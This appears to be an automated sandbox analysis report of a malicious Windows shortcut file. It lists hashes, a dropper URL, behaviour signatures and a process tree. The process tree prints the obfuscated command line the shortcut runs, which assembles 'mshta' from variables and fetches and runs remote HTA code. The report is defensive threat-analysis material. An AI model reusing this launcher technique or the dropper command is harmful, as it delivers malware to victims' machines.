Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260618-es
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260618-eslocale:es-esos:windows11-ltsc_2024-x64systemwindows
  • submitted
    29/06/2026, 10:00

General

  • Target
    DOC-NKH7TA.lnk
  • Size 1KB
  • Sample260629-l151escv3q
  • SHA256 785825dfe3a98c0eaffc4305448cfee67f80cde36228e576f2e54505d2c2c674
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-NKH7TA.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1328
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /V:on /C "set Pnqbs=msh&&set gb=ta&&start "" !Pnqbs!!gb! https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4104
      • C:\Windows\System32\mshta.exe
        mshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
        3⤵
        • Badlisted process makes network request
        PID:820

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads